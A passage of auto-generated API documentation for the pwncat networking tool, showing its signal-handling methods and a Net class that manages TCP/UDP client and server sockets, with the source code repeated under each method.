        """`bool`: Switch to be checked if the command should be closed."""
        return self.__command_quit

    # --------------------------------------------------------------------------
    # Raise Termination signal
    # --------------------------------------------------------------------------
    def raise_terminate(self):
        # type: () -> None
        """Signal the application that Socket should be quit."""
        self.__log.trace("SIGNAL TERMINATE raised")  # type: ignore
        self.__terminate = True
        self.__sock_quit = True
        self.__stdin_quit = True
        self.__command_quit = True

    # --------------------------------------------------------------------------
    # Raise Socket signals
    # --------------------------------------------------------------------------
    def raise_sock_send_eof(self):
        # type: () -> None
        """Signal the application that Socket should be closed for sending."""
        # self.__log.trace("SIGNAL SOCK-CLOSE-SEND raised")  # type: ignore
        self.__sock_send_eof = True

    def raise_sock_eof(self):
        # type: () -> None
        """Signal the application that Socket has received EOF."""
        # self.__log.trace("SIGNAL SOCK-EOF raised")  # type: ignore
        self.__sock_eof = True
        self.raise_sock_quit()

    def raise_sock_quit(self):
        # type: () -> None
        """Signal the application that Socket should be quit."""
        # self.__log.trace("SIGNAL SOCK-QUIT raised")  # type: ignore
        self.__sock_quit = True
        self.raise_terminate()

    # --------------------------------------------------------------------------
    # Raise STDIN signals
    # --------------------------------------------------------------------------
    def raise_stdin_eof(self):
        # type: () -> None
        """Signal the application that STDIN has received EOF."""
        # self.__log.trace("SIGNAL STDIN-EOF raised")  # type: ignore
        self.__stdin_eof = True
        self.raise_stdin_quit()

    def raise_stdin_quit(self):
        # type: () -> None
        """Signal the application that STDIN should be quit."""
        # self.__log.trace("SIGNAL STDIN-QUIT raised")  # type: ignore
        self.__stdin_quit = True
        # If --no-shutdown or -keep-open is specified
        # pwncat will not invoke shutdown on a socket after seeing EOF on stdin
        if not (self.__no_shutdown or self.__keep_open):
            # No more data from stdin, we can tell the remote side we are done
            # by closing the socket for sending (they will receive an EOF).
            self.raise_sock_send_eof()

    # --------------------------------------------------------------------------
    # Raise COMMAND signals
    # --------------------------------------------------------------------------
    def raise_command_eof(self):
        # type: () -> None
        """Signal the application that Command has received EOF."""
        # self.__log.trace("SIGNAL COMMAND-EOF raised")  # type: ignore
        self.__command_eof = True
        self.raise_command_quit()

    def raise_command_quit(self):
        # type: () -> None
        """Signal the application that Command should be quit."""
        # self.__log.trace("SIGNAL COMMAND-QUIT raised")  # type: ignore
        self.__command_quit = True
        self.raise_terminate()

Methods

def has_command_quit(self)

bool: Switch to be checked if the command should be closed.

Expand source code 
def has_command_quit(self):
    # type: () -> bool
    """`bool`: Switch to be checked if the command should be closed."""
    return self.__command_quit
def has_sock_quit(self)

bool: Switch to be checked if the socket connection should be closed.

Expand source code 
def has_sock_quit(self):
    # type: () -> bool
    """`bool`: Switch to be checked if the socket connection should be closed."""
    return self.__sock_quit
def has_sock_send_eof(self)

bool: Switch to be checked if the socket connection should be closed for sending.

Expand source code 
def has_sock_send_eof(self):
    # type: () -> bool
    """`bool`: Switch to be checked if the socket connection should be closed for sending."""
    return self.__sock_send_eof
def has_stdin_quit(self)

bool: Switch to be checked if the STDIN should be closed.

Expand source code 
def has_stdin_quit(self):
    # type: () -> bool
    """`bool`: Switch to be checked if the STDIN should be closed."""
    return self.__stdin_quit
def has_terminate(self)

bool: Switch to be checked if pwncat should be terminated.

Expand source code 
def has_terminate(self):
    # type: () -> bool
    """`bool`: Switch to be checked if pwncat should be terminated."""
    return self.__terminate
def raise_command_eof(self)

Signal the application that Command has received EOF.

Expand source code 
def raise_command_eof(self):
    # type: () -> None
    """Signal the application that Command has received EOF."""
    # self.__log.trace("SIGNAL COMMAND-EOF raised")  # type: ignore
    self.__command_eof = True
    self.raise_command_quit()
def raise_command_quit(self)

Signal the application that Command should be quit.

Expand source code 
def raise_command_quit(self):
    # type: () -> None
    """Signal the application that Command should be quit."""
    # self.__log.trace("SIGNAL COMMAND-QUIT raised")  # type: ignore
    self.__command_quit = True
    self.raise_terminate()
def raise_sock_eof(self)

Signal the application that Socket has received EOF.

Expand source code 
def raise_sock_eof(self):
    # type: () -> None
    """Signal the application that Socket has received EOF."""
    # self.__log.trace("SIGNAL SOCK-EOF raised")  # type: ignore
    self.__sock_eof = True
    self.raise_sock_quit()
def raise_sock_quit(self)

Signal the application that Socket should be quit.

Expand source code 
def raise_sock_quit(self):
    # type: () -> None
    """Signal the application that Socket should be quit."""
    # self.__log.trace("SIGNAL SOCK-QUIT raised")  # type: ignore
    self.__sock_quit = True
    self.raise_terminate()
def raise_sock_send_eof(self)

Signal the application that Socket should be closed for sending.

Expand source code 
def raise_sock_send_eof(self):
    # type: () -> None
    """Signal the application that Socket should be closed for sending."""
    # self.__log.trace("SIGNAL SOCK-CLOSE-SEND raised")  # type: ignore
    self.__sock_send_eof = True
def raise_stdin_eof(self)

Signal the application that STDIN has received EOF.

Expand source code 
def raise_stdin_eof(self):
    # type: () -> None
    """Signal the application that STDIN has received EOF."""
    # self.__log.trace("SIGNAL STDIN-EOF raised")  # type: ignore
    self.__stdin_eof = True
    self.raise_stdin_quit()
def raise_stdin_quit(self)

Signal the application that STDIN should be quit.

Expand source code 
def raise_stdin_quit(self):
    # type: () -> None
    """Signal the application that STDIN should be quit."""
    # self.__log.trace("SIGNAL STDIN-QUIT raised")  # type: ignore
    self.__stdin_quit = True
    # If --no-shutdown or -keep-open is specified
    # pwncat will not invoke shutdown on a socket after seeing EOF on stdin
    if not (self.__no_shutdown or self.__keep_open):
        # No more data from stdin, we can tell the remote side we are done
        # by closing the socket for sending (they will receive an EOF).
        self.raise_sock_send_eof()
def raise_terminate(self)

Signal the application that Socket should be quit.

Expand source code 
def raise_terminate(self):
    # type: () -> None
    """Signal the application that Socket should be quit."""
    self.__log.trace("SIGNAL TERMINATE raised")  # type: ignore
    self.__terminate = True
    self.__sock_quit = True
    self.__stdin_quit = True
    self.__command_quit = True
class Net (encoder, ssig, options)

Provides an abstracted server client socket for TCP and UDP.

Instantiate Sock class.

Args

encoder : StringEncoder
Instance of StringEncoder (Python2/3 str/byte compat).
ssig : InterruptHandler
Used to stop blocking loops.
options : DsSock
Instance of DsSock.
Expand source code 
class Net(object):
    """Provides an abstracted server client socket for TCP and UDP."""

    # --------------------------------------------------------------------------
    # Constructor / Destructor
    # --------------------------------------------------------------------------
    def __init__(self, encoder, ssig, options):
        # type: (StringEncoder, InterruptHandler, DsSock) -> None
        """Instantiate Sock class.

        Args:
            encoder (StringEncoder): Instance of StringEncoder (Python2/3 str/byte compat).
            ssig (InterruptHandler): Used to stop blocking loops.
            options (DsSock): Instance of DsSock.
        """
        self.__log = logging.getLogger(__name__)  # type: logging.Logger
        self.__enc = encoder
        self.__ssig = ssig
        self.__options = options
        self.__sock = Sock()

        # Set families to listen on or connect to
        # Using a list here to ensure IPv6 will always come first
        if self.__options.ipv6:
            self.__families = [int(socket.AF_INET6)]
        elif self.__options.ipv4:
            self.__families = [int(socket.AF_INET)]
        else:
            self.__families = [
                int(socket.AF_INET6),
                int(socket.AF_INET),
            ]

        # The connection dictionary.
        # A dictionary is necessary, as we can have multiple entries for
        # IPv4 and IPv6 when using UDP in server mode.
        #
        # 1.) If the UDP server wants to send data to an UDP client,
        # it must first wait for the client to send data to get to know
        # it's IP address (we're not using connect() for UDP here).
        # 2.) As we allow IPv4 and IPv6 listening at the same time,
        # we must maintain both entries in that list, until the
        # UDP client has connected.
        # Once the UDP client has connected, all unconnected entries
        # will be removed and the protocol has been determined.
        # {
        #   <socket.family>:
        #     {
        #       "sock": socket.socket,      # <-- bind socket if server
        #       "conn": socket.socket,      # <-- send/recv socket
        #       "local_host": <hostname>,   # <-- (server only) hostname or ip address for binding
        #       "local_addr": <ip-addr>,    # <-- (server only) ip address for binding
        #       "local_port": <port>,       # <-- (server only) port for binding
        #       "remote_host": <hostname>,  # <-- hostname or ip address of remote end
        #       "remote_addr": <ip-addr>,   # <-- numerical ip address of remote end
        #       "remote_port": <port>,      # <-- port of remote end
        #     },
        # }
        self.__conns = {}  # type: Dict[int, SockConn]

        # The self.__conns dictionary can hold two entries: IPv4 and IPv6.
        # In client mode after successful connect, the unused entry is dropped.
        # In server mode we keep entries for TCP/re-accept() or UDP/connect.
        #
        # That would mean for send/recv functions in server mode, we would
        # always have to loop around entries in self.__conns. To avoid this
        # we keep track of the currently active connection in self.__active
        # and only use this,
        # {
        #    "af": socket.family,        # <-- the used socket family
        #    "conn": socket.socket,      # <-- send/recv socket
        #    "remote_addr": <ip-addr>,   # <-- numerical ip address of remote end
        #    "remote_port": <port>,      # <-- port of remote end
        # }
        self.__active = {}  # type: SockActive

        self.__udp_mode_server = False  # type: bool

    # --------------------------------------------------------------------------
    # Public Send / Receive Functions
    # --------------------------------------------------------------------------
    def send_eof(self):
        # type: () -> None
        """Close the active socket for sending. The remote part will get an EOF."""
        self.__sock.shutdown_send(self.__active["conn"], "conn")

    def send(self, data):
        # type: (bytes) -> int
        """Send data through a connected (TCP) or unconnected (UDP) socket.

        Args:
            data (bytes): The data to send.

        Returns:
            int: Returns total bytes sent.

        Raises:
            socket.error:   Except here when unconnected or connection was forcibly closed.
        """
        # UDP has some specialities as its socket is unconnected.
        # See also recv() for specialities on that side.

        # In case of sending data to an UDP client, we need to initially wait
        # until the client has first connected and told us its addr/port.
        if self.__udp_mode_server:
            # self.__active will be set in recv() by another thread
            if not self.__active:
                self.__log.warning("UDP client has not yet connected. Queueing message")
                while not self.__active:
                    if self.__ssig.has_sock_quit():
                        self.__log.trace(  # type: ignore
                            "SOCK-QUIT signal ACK in Net.send (while waiting for UDP client)"
                        )
                        return -1
                    time.sleep(0.01)

        curr = 0  # bytes send during one loop iteration
        send = 0  # total bytes send
        size = len(data)  # bytes of data that needs to be send

        # Loop until all bytes have been send
        while send < size:
            self.__log.debug(
                "Trying to send %d bytes to %s:%d",
                size - send,
                self.__active["remote_addr"],
                self.__active["remote_port"],
            )
            self.__log.trace("Trying to send: %s", repr(data))  # type: ignore
            try:
                # Only UDP server has not made a connect() to the socket, all others
                # are already connected and need to use send() instead of sendto()
                if self.__udp_mode_server:
                    curr = self.__active["conn"].sendto(
                        data, (self.__active["remote_addr"], self.__active["remote_port"])
                    )
                    send += curr
                else:
                    curr = self.__active["conn"].send(data)
                    send += curr
                if curr == 0:
                    self.__log.error("No bytes send during loop round.")
                    return 0
                # Remove 'curr' many bytes from byte for the next round
                data = data[curr:]
                self.__log.debug(
                    "Sent %d bytes to %s:%d (%d bytes remaining)",
                    curr,
                    self.__active["remote_addr"],
                    self.__active["remote_port"],
                    size - send,
                )
            except (IOError, OSError, socket.error) as error:
                msg = "Socket send Error: {}".format(error)
                raise socket.error(msg)
        return send

    def receive(self):
        # type: () -> bytes
        """Receive and return data from the connected (TCP) or unconnected (UDP) socket.

        Returns:
            bytes: Returns received data from connected (TCP) or unconnected (UDP) socket.

        Raises:
            socket.timeout: Except here to do an action when the socket is not busy.
            AttributeError: Except here when current instance has closed itself (Ctrl+c).
            socket.error:   Except here when unconnected or connection was forcibly closed.
            EOFError:       Except here when upstream has closed the connection via EOF.
        """
        # This is required for a UDP server that has no connected clients yet
        # and is waiting for data receival for the first time on either IPv4 or IPv6
        # to finally determine which of those two we're going to use and which
        # of them we will remove after succesfull connect.
        try:
            conns = select.select(
                [self.__conns[af]["conn"] for af in self.__conns if "conn" in self.__conns[af]],
                [],
                [],
                self.__options.recv_timeout,
            )[
                0
            ]  # type: List[socket.socket]
        # E.g.: ValueError: file descriptor cannot be a negative integer (-1)
        except (ValueError, AttributeError) as error:
            msg = "Connection was closed by self: [1]: {}".format(error)
            self.__log.debug(msg)
            raise AttributeError(msg)
        if not conns:
            # This is raised for the calling function to determine what to do
            # between timeouts (e.g.: check signals, etc)
            raise socket.timeout("timed out")  # type: ignore

        # We should always only have one active socket on which we receive data.
        assert len(conns) == 1
        conn = conns[0]  # type: socket.socket
        try:
            # https://manpages.debian.org/buster/manpages-dev/recv.2.en.html
            (data, addr) = conn.recvfrom(self.__options.bufsize)

        # [1/5] When closing itself (e.g.: via Ctrl+c and the socket_close() funcs are called)
        except AttributeError as error:
            msg = "Connection was closed by self: [2]: {}".format(error)
            self.__log.debug(msg)
            raise AttributeError(msg)

        # [2/5] Connection was forcibly closed
        # [Errno 107] Transport endpoint is not connected
        # [Errno 10054] An existing connection was forcibly closed by the remote host
        # [WinError 10054] An existing connection was forcibly closed by the remote host
        except (OSError, socket.error) as error:
            self.__log.debug("Connection error: %s", error)
            raise socket.error(error)

        # [3/5] Upstream (server or client) is gone.
        # In TCP, there is no such thing as an empty message, so zero means a peer disconnect.
        # In UDP, there is no such thing as a peer disconnect, so zero means an empty datagram.
        if not data:
            msg = "EOF: Remote finished sending."
            self.__log.info(msg)
            raise EOFError(msg)

        # [4/5] (UDP Server mode only)
        # 1.) The UDP server is only able to send data, if a client has sent data first,
        # as we do not do a connect() phase for UDP and therefore do not know its remote
        # addr/port before. See send() function for a blocking loop.
        # 2.) Additionally, we will always update its IP/port values to distinguish
        # the same connected client between a new/different connected client.
        if self.__udp_mode_server:
            # UDP client connects for the first time
            if not self.__active:
                self.__log.info(
                    "Client connected: %s:%d (family %d/%s, UDP)",
                    addr[0],
                    addr[1],
                    int(conn.family),
                    self.__sock.get_family_name(conn.family),
                )
            # A different UDP client connects
            elif self.__active["remote_addr"] != addr[0] or self.__active["remote_port"] != addr[1]:
                self.__log.info(
                    "New client connected: %s:%d (family %d/%s, UDP)",
                    addr[0],
                    addr[1],
                    int(conn.family),
                    self.__sock.get_family_name(conn.family),
                )
            # Set currently active UDP connection socket
            self.__active = {
                "af": conn.family,
                "conn": conn,
                "remote_addr": addr[0],
                "remote_port": addr[1],
            }

        # [5/5] We have data to process
        self.__log.debug(
            "Received %d bytes from %s:%d",
            len(data),
            self.__active["remote_addr"],
            self.__active["remote_port"],
        )
        self.__log.trace("Received: %s", repr(data))  # type: ignore
        return data

    # --------------------------------------------------------------------------
    # Public Functions
    # --------------------------------------------------------------------------
    def run_client(self, host, port):
        # type: (str, int) -> bool
        """Run and create a TCP or UDP client and connect to a remote peer.

        Args:
            addr (str): Numeric IP address to connect to (ensure to resolve a hostname beforehand).
            port (int): Port of the server to connect to.

        Returns:
            bool: Returns `True` on success and `False` on failure.
        """
        # The connection dictionary.
        conns = {}  # type: Dict[int, SockConn]

        # [1/4] Add sockets to connection dictionary
        succ = 0
        for family in self.__families:
            try:
                conns[family] = {
                    "conn": self.__sock.create_socket(
                        family,
                        socket.SOCK_DGRAM if self.__options.udp else socket.SOCK_STREAM,
                        True,
                        self.__options.ip_tos,
                    )
                }
                succ += 1
            except socket.error:
                pass
        if succ == 0:
            return False

        # [2/4] Resolve address
        remove = []
        errors = []
        # NOTE: We're still looping over the initial family list
        # to ensure order: IPv6 before IPv4 (the conn dict does not preserve order)
        for family in self.__families:
            if family in conns:
                try:
                    conns[family]["remote_host"] = host
                    conns[family]["remote_addr"] = self.__sock.gethostbyname(
                        host, family, not self.__options.nodns
                    )
                    conns[family]["remote_port"] = port
                except socket.gaierror as err:
                    remove.append(family)
                    errors.append(str(err))
        for family in remove:
            self.__sock.close(conns[family]["conn"], self.__sock.get_family_name(family))
            del conns[family]
        if not conns:
            for error in errors:
                self.__log.error("Resolve Error: %s", error)
            return False

        # [3/4] Connect
        remove = []
        errors = []
        # NOTE: We're still looping over the initial family list
        # to ensure order: IPv6 before IPv4 (the conn dict does not preserve order)
        for family in self.__families:
            if family in conns:
                try:
                    self.__sock.connect(
                        conns[family]["conn"],
                        conns[family]["remote_addr"],
                        conns[family]["remote_port"],
                        self.__options.src_addr,
                        self.__options.src_port,
                        self.__options.udp_sconnect,
                        self.__enc.encode(self.__options.udp_sconnect_word),
                        self.__options.bufsize,
                    )
                    # On successful connect, we can abandon/remove all other sockets
                    remove = [key for key in conns if key != family]
                    break
                except (OSError, socket.error) as err:
                    remove.append(family)
                    errors.append(str(err))
        for family in remove:
            self.__sock.close(conns[family]["conn"], self.__sock.get_family_name(family))
            del conns[family]
        if not conns:
            for error in errors:
                self.__log.error(error)
            return False

        # [4/4] Store connections and set active connection
        assert len(conns) == 1
        for family in conns:
            self.__active = {
                "af": family,
                "conn": conns[family]["conn"],
                "remote_addr": conns[family]["remote_addr"],
                "remote_port": conns[family]["remote_port"],
            }
        # Store sockets as a list
        self.__conns = conns
        # Print socket info
        for info in self.__sock.get_sock_opts(self.__active["conn"], self.__options.info):
            self.__log.info("[%s] %s", self.__sock.get_family_name(family), info)
        return True

    def run_server(self, host, port):
        # type: (Optional[str], int) -> bool
        # TODO: Integrate: --rebind(-wait|-robin)
        """Run and create a TCP or UDP listening server and wait for a client to connect.

        Args:
            addr (str): Numeric IP address to bind to (ensure to resolve a hostname beforehand).
            port (int): Port of the address to bind to.

        Returns:
            bool: Returns `True` on success and `False` on failure.
        """
        # The connection dictionary.
        conns = {}  # type: Dict[int, SockConn]

        # [1/4] Create socket
        succ = 0
        for family in self.__families:
            try:
                conns[family] = {
                    "sock": self.__sock.create_socket(
                        family,
                        socket.SOCK_DGRAM if self.__options.udp else socket.SOCK_STREAM,
                        True,
                        self.__options.ip_tos,
                    )
                }
                succ += 1
            except socket.error as err:
                self.__log.debug(err)
        if succ == 0:
            self.__log.error("Socket Error: Could not create any socket.")
            return False

        # [2/4] Resolve local address
        remove = {}
        for family in conns:
            try:
                conns[family]["local_addr"] = self.__sock.gethostbyname(
                    host, family, not self.__options.nodns
                )
                conns[family]["local_host"] = host
                conns[family]["local_port"] = port
            except socket.gaierror as err:
                remove[family] = str(err)
        for family in remove:
            self.__log.debug(
                "Removing (family %d/%s) due to: %s",
                family,
                self.__sock.get_family_name(family),
                remove[family],
            )
            self.__sock.close(conns[family]["sock"], self.__sock.get_family_name(family))
            del conns[family]
        if not conns:
            self.__log.error("Resolve Error: Could not resolve any hostname")
            return False

        # [3/4] Bind socket
        remove = {}
        for family in conns:
            try:
                self.__sock.bind(conns[family]["sock"], conns[family]["local_addr"], port)
            except socket.error as err:
                remove[family] = str(err)
        for family in remove:
            self.__log.debug(
                "Removing (family %d/%s) due to: %s",
                family,
                self.__sock.get_family_name(family),
                remove[family],
            )
            self.__sock.close(conns[family]["sock"], self.__sock.get_family_name(family))
            del conns[family]
        if not conns:
            self.__log.error("Bind Error: Could not bind any socket")
            return False

        # [UDP 4/4] There is no listen or accept for UDP
        if self.__options.udp:
            for family in conns:
                conns[family]["conn"] = conns[family]["sock"]
                self.__log.info(
                    "Listening on %s:%d (family %d/%s, UDP)",
                    conns[family]["local_addr"],
                    conns[family]["local_port"],
                    family,
                    self.__sock.get_family_name(family),
                )
            self.__conns = conns
            self.__udp_mode_server = True
            return True

        # [TCP 4/4] Requires listen and accept
        # (1/3) Listen
        remove = {}
        for family in conns:
            try:
                self.__sock.listen(conns[family]["sock"], self.__options.backlog)
                self.__log.info(
                    "Listening on %s:%d (family %d/%s, TCP)",
                    conns[family]["local_addr"],
                    conns[family]["local_port"],
                    family,
                    self.__sock.get_family_name(family),
                )
            except socket.error as err:
                remove[family] = str(err)
        for family in remove:
            self.__log.debug(
                "Removing (family %d/%s) due to: %s",
                family,
                self.__sock.get_family_name(family),
                remove[family],
            )
            self.__sock.close(conns[family]["sock"], self.__sock.get_family_name(family))
            del conns[family]
        if not conns:
            self.__log.error("Could not listen on any address")
            return False

        # (2/3) Accept
        remove = {}
        try:
            conn, client = self.__sock.accept(
                [conns[family]["sock"] for family in conns], self.__ssig.has_sock_quit
            )
            conns[conn.family]["conn"] = conn
            conns[conn.family]["remote_addr"] = client[0]
            conns[conn.family]["remote_port"] = client[1]
        except socket.error as err:
            remove = {family: str(err) for family in conns}
        # On error, remove all bind sockets
        for family in remove:
            self.__log.debug(
                "Removing (family %d/%s) due to: %s",
                family,
                self.__sock.get_family_name(family),
                remove[family],
            )
            self.__sock.close(conns[family]["sock"], self.__sock.get_family_name(family))
            del conns[family]
        if not conns:
            return False

        # (3/3) Store connections
        for family in conns:
            if "conn" in conns[family]:
                self.__active = {
                    "af": family,
                    "conn": conns[family]["conn"],
                    "remote_addr": conns[family]["remote_addr"],
                    "remote_port": conns[family]["remote_port"],
                }
                for info in self.__sock.get_sock_opts(self.__active["conn"], self.__options.info):
                    self.__log.info("[%s] %s", self.__sock.get_family_name(family), info)
        self.__conns = conns
        return True

    def re_accept_client(self):
        # type: () -> bool
        """Re-accept new clients, if connection is somehow closed or accept did not work.

        Returns:
            bool: Returns `True` on success and `False` and error.
        """
        # [1/3] Close and remove all previous conn sockets
        self.close_conn_sock()
        for family in self.__conns:
            if "conn" in self.__conns[family]:
                del self.__conns[family]["conn"]

        # [2/3] Accept
        try:
            conn, client = self.__sock.accept(
                [self.__conns[family]["sock"] for family in self.__conns], self.__ssig.has_sock_quit
            )
        except socket.error:
            return False
        self.__conns[conn.family]["conn"] = conn
        self.__conns[conn.family]["remote_addr"] = client[0]
        self.__conns[conn.family]["remote_port"] = client[1]

        # Update active connection socket
        self.__active = {
            "af": conn.family,
            "conn": conn,
            "remote_addr": client[0],
            "remote_port": client[1],
        }
        return True

    def close_bind_sock(self):
        # type: () -> None
        """Close the bind socket used by the server to accept clients."""
        for family in self.__conns:
            if "sock" in self.__conns[family]:
                self.__sock.close(self.__conns[family]["sock"], "sock")

    def close_conn_sock(self):
        # type: () -> None
        """Close the communication socket used for send and receive."""
        for family in self.__conns:
            if "conn" in self.__conns[family]:
                self.__sock.close(self.__conns[family]["conn"], "conn")

Methods

def close_bind_sock(self)

Close the bind socket used by the server to accept clients.

Expand source code 
def close_bind_sock(self):
    # type: () -> None
    """Close the bind socket used by the server to accept clients."""
    for family in self.__conns:
        if "sock" in self.__conns[family]:
            self.__sock.close(self.__conns[family]["sock"], "sock")
def close_conn_sock(self)

Close the communication socket used for send and receive.

Expand source code 
def close_conn_sock(self):
    # type: () -> None
    """Close the communication socket used for send and receive."""
    for family in self.__conns:
        if "conn" in self.__conns[family]:
            self.__sock.close(self.__conns[family]["conn"], "conn")
def re_accept_client(self)

Re-accept new clients, if connection is somehow closed or accept did not work.

Returns

bool
Returns True on success and False and error.
Expand source code 
def re_accept_client(self):
    # type: () -> bool
    """Re-accept new clients, if connection is somehow closed or accept did not work.

    Returns:
        bool: Returns `True` on success and `False` and error.
    """
    # [1/3] Close and remove all previous conn sockets
    self.close_conn_sock()
    for family in self.__conns:
        if "conn" in self.__conns[family]:
            del self.__conns[family]["conn"]

    # [2/3] Accept
    try:
        conn, client = self.__sock.accept(
            [self.__conns[family]["sock"] for family in self.__conns], self.__ssig.has_sock_quit
        )
    except socket.error:
        return False
    self.__conns[conn.family]["conn"] = conn
    self.__conns[conn.family]["remote_addr"] = client[0]
    self.__conns[conn.family]["remote_port"] = client[1]

    # Update active connection socket
    self.__active = {
        "af": conn.family,
        "conn": conn,
        "remote_addr": client[0],
        "remote_port": client[1],
    }
    return True
def receive(self)

Receive and return data from the connected (TCP) or unconnected (UDP) socket.

Returns

bytes
Returns received data from connected (TCP) or unconnected (UDP) socket.

Raises

socket.timeout
Except here to do an action when the socket is not busy.
AttributeError
Except here when current instance has closed itself (Ctrl+c).
socket.error
Except here when unconnected or connection was forcibly closed.
EOFError

Except here when upstream has closed the connection via EOF.

Expand source code 
def receive(self):
    # type: () -> bytes
    """Receive and return data from the connected (TCP) or unconnected (UDP) socket.

    Returns:
        bytes: Returns received data from connected (TCP) or unconnected (UDP) socket.

    Raises:
        socket.timeout: Except here to do an action when the socket is not busy.
        AttributeError: Except here when current instance has closed itself (Ctrl+c).
        socket.error:   Except here when unconnected or connection was forcibly closed.
        EOFError:       Except here when upstream has closed the connection via EOF.
    """
    # This is required for a UDP server that has no connected clients yet
    # and is waiting for data receival for the first time on either IPv4 or IPv6
    # to finally determine which of those two we're going to use and which
    # of them we will remove after succesfull connect.
    try:
        conns = select.select(
            [self.__conns[af]["conn"] for af in self.__conns if "conn" in self.__conns[af]],
            [],
            [],
            self.__options.recv_timeout,
        )[
            0
        ]  # type: List[socket.socket]
    # E.g.: ValueError: file descriptor cannot be a negative integer (-1)
    except (ValueError, AttributeError) as error:
        msg = "Connection was closed by self: [1]: {}".format(error)
        self.__log.debug(msg)
        raise AttributeError(msg)
    if not conns:
        # This is raised for the calling function to determine what to do
        # between timeouts (e.g.: check signals, etc)
        raise socket.timeout("timed out")  # type: ignore

    # We should always only have one active socket on which we receive data.
    assert len(conns) == 1
    conn = conns[0]  # type: socket.socket
    try:
        # https://manpages.debian.org/buster/manpages-dev/recv.2.en.html
        (data, addr) = conn.recvfrom(self.__options.bufsize)

    # [1/5] When closing itself (e.g.: via Ctrl+c and the socket_close() funcs are called)
    except AttributeError as error:
        msg = "Connection was closed by self: [2]: {}".format(error)
        self.__log.debug(msg)
        raise AttributeError(msg)

    # [2/5] Connection was forcibly closed
    # [Errno 107] Transport endpoint is not connected
    # [Errno 10054] An existing connection was forcibly closed by the remote host
    # [WinError 10054] An existing connection was forcibly closed by the remote host
    except (OSError, socket.error) as error:
        self.__log.debug("Connection error: %s", error)
        raise socket.error(error)

    # [3/5] Upstream (server or client) is gone.
    # In TCP, there is no such thing as an empty message, so zero means a peer disconnect.
    # In UDP, there is no such thing as a peer disconnect, so zero means an empty datagram.
    if not data:
        msg = "EOF: Remote finished sending."
        self.__log.info(msg)
        raise EOFError(msg)

    # [4/5] (UDP Server mode only)
    # 1.) The UDP server is only able to send data, if a client has sent data first,
    # as we do not do a connect() phase for UDP and therefore do not know its remote
    # addr/port before. See send() function for a blocking loop.
    # 2.) Additionally, we will always update its IP/port values to distinguish
    # the same connected client between a new/different connected client.
    if self.__udp_mode_server:
        # UDP client connects for the first time
        if not self.__active:
            self.__log.info(
                "Client connected: %s:%d (family %d/%s, UDP)",
                addr[0],
                addr[1],
                int(conn.family),
                self.__sock.get_family_name(conn.family),
            )
        # A different UDP client connects
        elif self.__active["remote_addr"] != addr[0] or self.__active["remote_port"] != addr[1]:
            self.__log.info(
                "New client connected: %s:%d (family %d/%s, UDP)",
                addr[0],
                addr[1],
                int(conn.family),
                self.__sock.get_family_name(conn.family),
            )
        # Set currently active UDP connection socket
        self.__active = {
            "af": conn.family,
            "conn": conn,
            "remote_addr": addr[0],
            "remote_port": addr[1],
        }

    # [5/5] We have data to process
    self.__log.debug(
        "Received %d bytes from %s:%d",
        len(data),
        self.__active["remote_addr"],
        self.__active["remote_port"],
    )
    self.__log.trace("Received: %s", repr(data))  # type: ignore
    return data
def run_client(self, host, port)

Run and create a TCP or UDP client and connect to a remote peer.

Args

addr : str
Numeric IP address to connect to (ensure to resolve a hostname beforehand).
port : int
Port of the server to connect to.

Returns

bool
Returns True on success and False on failure.
Expand source code 
def run_client(self, host, port):
    # type: (str, int) -> bool
    """Run and create a TCP or UDP client and connect to a remote peer.

    Args:
        addr (str): Numeric IP address to connect to (ensure to resolve a hostname beforehand).
        port (int): Port of the server to connect to.

    Returns:
        bool: Returns `True` on success and `False` on failure.
    """
    # The connection dictionary.
    conns = {}  # type: Dict[int, SockConn]

    # [1/4] Add sockets to connection dictionary
    succ = 0
    for family in self.__families:
        try:
            conns[family] = {
                "conn": self.__sock.create_socket(
                    family,
                    socket.SOCK_DGRAM if self.__options.udp else socket.SOCK_STREAM,
                    True,
                    self.__options.ip_tos,
                )
            }
            succ += 1
        except socket.error:
            pass
    if succ == 0:
        return False

    # [2/4] Resolve address
    remove = []
    errors = []
    # NOTE: We're still looping over the initial family list
    # to ensure order: IPv6 before IPv4 (the conn dict does not preserve order)
    for family in self.__families:
        if family in conns:
            try:
                conns[family]["remote_host"] = host
                conns[family]["remote_addr"] = self.__sock.gethostbyname(
                    host, family, not self.__options.nodns
                )
                conns[family]["remote_port"] = port
            except socket.gaierror as err:
                remove.append(family)
                errors.append(str(err))
    for family in remove:
        self.__sock.close(conns[family]["conn"], self.__sock.get_family_name(family))
        del conns[family]
    if not conns:
        for error in errors:
            self.__log.error("Resolve Error: %s", error)
        return False

    # [3/4] Connect
    remove = []
    errors = []
    # NOTE: We're still looping over the initial family list
    # to ensure order: IPv6 before IPv4 (the conn dict does not preserve order)
    for family in self.__families:
        if family in conns:
            try:
                self.__sock.connect(
                    conns[family]["conn"],
                    conns[family]["remote_addr"],
                    conns[family]["remote_port"],
                    self.__options.src_addr,
                    self.__options.src_port,
                    self.__options.udp_sconnect,
                    self.__enc.encode(self.__options.udp_sconnect_word),
                    self.__options.bufsize,
                )
                # On successful connect, we can abandon/remove all other sockets
                remove = [key for key in conns if key != family]
                break
            except (OSError, socket.error) as err:
                remove.append(family)
                errors.append(str(err))
    for family in remove:
        self.__sock.close(conns[family]["conn"], self.__sock.get_family_name(family))
        del conns[family]
    if not conns:
        for error in errors:
            self.__log.error(error)
        return False

    # [4/4] Store connections and set active connection
    assert len(conns) == 1
    for family in conns:
        self.__active = {
            "af": family,
            "conn": conns[family]["conn"],
            "remote_addr": conns[family]["remote_addr"],
            "remote_port": conns[family]["remote_port"],
        }
    # Store sockets as a list
    self.__conns = conns
    # Print socket info
    for info in self.__sock.get_sock_opts(self.__active["conn"], self.__options.info):
        self.__log.info("[%s] %s", self.__sock.get_family_name(family), info)
    return True
def run_server(self, host, port)

Run and create a TCP or UDP listening server and wait for a client to connect.

Args

addr : str
Numeric IP address to bind to (ensure to resolve a hostname beforehand).
port : int
Port of the address to bind to.

Returns

bool
Returns True on success and False on failure.
Expand source code 
def run_server(self, host, port):
    # type: (Optional[str], int) -> bool
    # TODO: Integrate: --rebind(-wait|-robin)
    """Run and create a TCP or UDP listening server and wait for a client to connect.

    Args:
        addr (str): Numeric IP address to bind to (ensure to resolve a hostname beforehand).
        port (int): Port of the address to bind to.

    Returns:
        bool: Returns `True` on success and `False` on failure.
    """
    # The connection dictionary.
    conns = {}  # type: Dict[int, SockConn]

    # [1/4] Create socket
    succ = 0
    for family in self.__families:
        try:
            conns[family] = {
                "sock": self.__sock.create_socket(
                    family,
